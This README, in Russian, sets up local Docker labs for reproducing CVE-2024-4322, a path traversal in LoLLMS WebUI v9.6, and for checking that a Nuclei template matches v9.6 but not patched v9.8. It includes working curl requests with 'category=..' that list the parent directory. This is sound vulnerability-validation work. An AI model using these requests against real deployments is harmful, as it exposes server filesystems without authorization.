
POC_CVE-2024-4322
Этот репозиторий предоставляет локализованные Docker-лаборатории для воспроизведения CVE-2024-4322 — уязвимости обхода пути (path traversal) в LoLLMS WebUI v9.6, а также для проверки того, что соответствующий шаблон Nuclei не срабатывает на LoLLMS WebUI v9.8.
Используйте эту лабораторию только против локальных, собственных или явно авторизованных целей.
Конечная точка /list_personalities в LoLLMS WebUI v9.6 уязвима к обходу пути. Пользовательский параметр category добавляется к personalities_zoo_path без санитизации:
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
Отправив category=.., запрос может выйти за пределы целевой директории personalities и отобразить содержимое родительской директории.
Ожидаемый сигнал уязвимости:
category= -> []
category=.. -> response contains "personalities_zoo"
Исправленное поведение в v9.8 отклоняет попытку обхода до листинга директории.
| Среда | Версия | Сервис | URL хоста | Ожидаемый результат шаблона |
|---|---|---|---|---|
| Linux уязвимый | v9.6 | linux-vuln-server | http://127.0.0.1:9600 | совпадает |
| Linux исправленный | v9.8 | linux-patched-server | http://127.0.0.1:9602 | не совпадает |
| Windows уязвимый | v9.6 | windows-vuln-server | http://127.0.0.1:9601 | совпадает |
| Windows исправленный | v9.8 | windows-patched-server | http://127.0.0.1:9603 | не совпадает |
Выполняйте все команды из каталога, содержащего этот README.
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
Дождитесь:
Uvicorn running on http://0.0.0.0:9600
Нажмите Ctrl-C, чтобы остановить отслеживание логов. Контейнер продолжит работу.
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
Ожидаемый результат:
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
Порядок может отличаться. Важный сигнал — ответ при обходе отличается от контрольного и содержит personalities_zoo.
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
Ожидаемый результат:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
Дождитесь:
Uvicorn running on http://0.0.0.0:9600
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
Ожидаемый результат:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
Ожидаемый результат:
[INF] Scan completed ... 0 matches found.

Для этого требуется Docker Desktop в режиме Windows containers. Выполняйте команды ниже из этого каталога в PowerShell.
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
Дождитесь:
Uvicorn running on http://0.0.0.0:9600
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
Ожидаемый результат:
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
Порядок может отличаться. Важный сигнал — ответ при обходе отличается от контрольного и содержит personalities_zoo.
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
Ожидаемый результат:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Для этого требуется Docker Desktop в режиме Windows containers. Выполняйте команды ниже из этого каталога в PowerShell.
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
Дождитесь:
Uvicorn running on http://0.0.0.0:9600
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
Ожидаемый результат:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
Ожидаемый результат:
[INF] Scan completed ... 0 matches found.

Контейнеры Linux:
docker compose --profile patched down --rmi local
Контейнеры Windows:
docker compose --profile windows down
curl.jq для примеров HTTP на уязвимом Linux.Если jq недоступен на хосте Linux, используйте контейнер аналитика:
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
Если Nuclei не установлен в Windows, загрузите бинарный файл для Windows с https://github.com/projectdiscovery/nuclei/releases, распакуйте его и запустите nuclei.exe напрямую из извлеченного каталога.
Dockerfile'ы исправляют исторические установщики во время сборки, чтобы лабораторию можно было воспроизвести сегодня:
Уязвимые лаборатории клонируют тег lollms-webui v9.6.
Исправленные лаборатории клонируют тег lollms-webui v9.8.
URL подмодуля lollms_core переписывается на https://github.com/ParisNeo/lollms_legacy.git, поскольку старая история исходного кода была перенесена туда.
Привязка версий проверяется по метаданным Git из upstream: v9.6 — e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, а v9.8 — 8a8e3a1c386321f641a014bf8f7029512ccad411.
git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
Соответствующие коммиты подмодуля lollms_core: cfb18f6f1091addf440347322441ab28005a2d3b для v9.6 и 6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49 для v9.8, проверенные с помощью git ls-tree HEAD lollms_core при каждом создании тега.
Опции auto_update и auto_sync_* отключены, чтобы каждая лаборатория оставалась зафиксированной.
Внедряются headless-конфигурационные файлы, чтобы сервер мог запускаться без запросов.
Тяжелые зависимости, не нужные для проверки конечных точек, по возможности пропускаются.
Установщики Windows исправлены, чтобы создать свою временную директорию и избежать устаревших рекурсивных подмодулей.
Нарушенный инвариант:
resolved path must stay inside the personalities directory
LoLLMS WebUI v9.8 и новее решают проблему, санитируя или ограничивая путь category до того, как он достигнет логики листинга каталогов файловой системы. Для реальных развертываний обновите LoLLMS WebUI до версии 9.8 или новее.